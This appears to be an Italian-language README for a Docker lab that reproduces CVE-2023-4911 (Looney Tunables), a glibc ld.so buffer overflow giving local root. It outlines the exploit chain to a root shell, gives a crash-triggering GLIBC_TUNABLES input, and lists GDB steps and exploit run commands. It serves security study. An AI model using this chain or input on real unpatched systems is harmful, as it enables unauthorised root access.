
Laboratorio basato su Docker per analizzare e sfruttare CVE-2023-4911 (Looney Tunables), un buffer overflow in glibc ld.so che porta a escalation di privilegi locale. Include PoC, analisi con GDB e ambiente di sviluppo degli exploit.
Ambiente di laboratorio basato su Docker per l'analisi della vulnerabilità di buffer overflow (Local Privilege Escalation) nel loader dinamico di GNU C Library (glibc) e lo sviluppo di exploit.
| Elemento | Descrizione |
|---|---|
| Numero CVE | CVE-2023-4911 |
| Alias | Looney Tunables |
| Target vulnerabile | GNU C Library (glibc) 2.34 ~ 2.38 |
| Versione vulnerabile | Ubuntu 22.04 — libc6 2.35-0ubuntu3.3 e precedenti |
| Versione patch | libc6 2.35-0ubuntu3.4 (USN-6404-1, 2023-10-04) |
| Tipo | Buffer Overflow in ld.so |
| Impatto | Local Privilege Escalation (utente normale → root) |
| Scoperto da | Qualys Security Research Team |
Il loader dinamico di glibc (ld.so) analizza la variabile d'ambiente GLIBC_TUNABLES all'avvio del programma.
Quando viene eseguito un binario SUID, viene impostato __libc_enable_secure = 1 e ld.so entra nel percorso di codice che annulla (nullify) tale variabile d'ambiente.
In questo processo, per input del formato tunable1=tunable2=value, un errato calcolo della lunghezza causa un buffer overflow.
일반 바이너리: __libc_enable_secure = 0 → nullify 코드 미진입 → 취약점 없음
SUID 바이너리: __libc_enable_secure = 1 → nullify 코드 진입 → 버퍼 오버플로우 발생
Flusso dell'exploit:
GLIBC_TUNABLES 오버플로우
↓
ld.so BSS 영역 link_map 포인터 덮어쓰기
↓
라이브러리 검색 경로를 evil_lib/ 경로로 변조
↓
evil.so 로드 → constructor 자동 실행
↓
setuid(0) + execve("/bin/bash") → root shell 획득
Questo ambiente è progettato per andare oltre la semplice esecuzione di un PoC, con l'obiettivo di analizzare direttamente il principio di funzionamento della vulnerabilità e sviluppare un exploit.
ld.soresearcher) a rootCVE-2023-4911/
├── Dockerfile # Definizione dell'immagine dell'ambiente vulnerabile (build multi-stage)
├── run.sh # Script di gestione build/esecuzione Docker
├── check_environment.sh # Verifica automatica dell'ambiente all'avvio del contenitore
├── poc/
│ ├── exploit.py # PoC di base — per verificare il crash (SIGSEGV)
│ ├── exploit_lpe.py # Exploit LPE — completato dopo analisi con GDB
│ └── evil_lib/
│ ├── evil.c # Libreria condivisa malevola che esegue una root shell
│ └── Makefile
└── test_targets/
├── test_suid.c # Sorgente del binario di test SUID
└── test_heap.c # Sorgente del binario di test per allocazione heap
./run.sh build && ./run.sh run
All'avvio del contenitore viene richiesta la password sudo.
비밀번호: password
# Verifica se si verifica SIGSEGV
python3 /workspace/poc/exploit.py --check-only
# Attivazione diretta
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA \
/workspace/test_targets/test_suid
# Analisi diretta all'interno del contenitore
gdb -q /workspace/test_targets/test_suid
# Debug remoto (gdbserver)
# All'interno del contenitore
gdbserver :1234 /workspace/test_targets/test_suid
# Host locale
gdb
(gdb) target remote localhost:1234
Dopo aver analizzato OVERFLOW_OFFSET e TARGET_ADDR con GDB, aggiornare i valori all'inizio di exploit_lpe.py ed eseguirlo.
python3 /workspace/poc/exploit_lpe.py
# Posizione della funzione vulnerabile
/workspace/glibc-source/elf/dl-tunables.c
# Funzioni principali
__tunables_init() # Punto di ingresso
parse_tunables() # Punto in cui si verifica l'overflow
tunables_strdup() # Allocazione del buffer
# Tracciamento delle chiamate di sistema con strace
strace -e trace=mmap GLIBC_TUNABLES="..." /workspace/test_targets/test_suid
# Analisi di __tunables_init con GDB
gdb /workspace/test_targets/test_suid
(gdb) break __tunables_init
(gdb) set environment GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA
(gdb) run
Questo ambiente deve essere utilizzato solo per scopi educativi e di ricerca sulla sicurezza.
--privileged, quindi utilizzarlo solo in ambienti isolati.| Comando | Descrizione |
|---|
./run.sh build | Build dell'immagine Docker |
./run.sh run | Avvia il contenitore in modalità interattiva |
./run.sh analysis | Esegue la modalità di analisi |
./run.sh test | Verifica rapida della vulnerabilità |
./run.sh clean | Pulisce immagini e contenitori |
| Elemento | Descrizione |
|---|
| Immagine base | ubuntu:jammy-20230916 (pre-patch) |
| Versione glibc | 2.35-0ubuntu3.3 (vulnerabile) |
| Versione ld.so | 2.35-0ubuntu3.3 (vulnerabile) |
| Account di analisi | researcher / password |
| Sorgente glibc | /workspace/glibc-source (2.35) |
| Porta principale | 1234 (gdbserver) |
| Opzioni del contenitore | --privileged, --pid=host |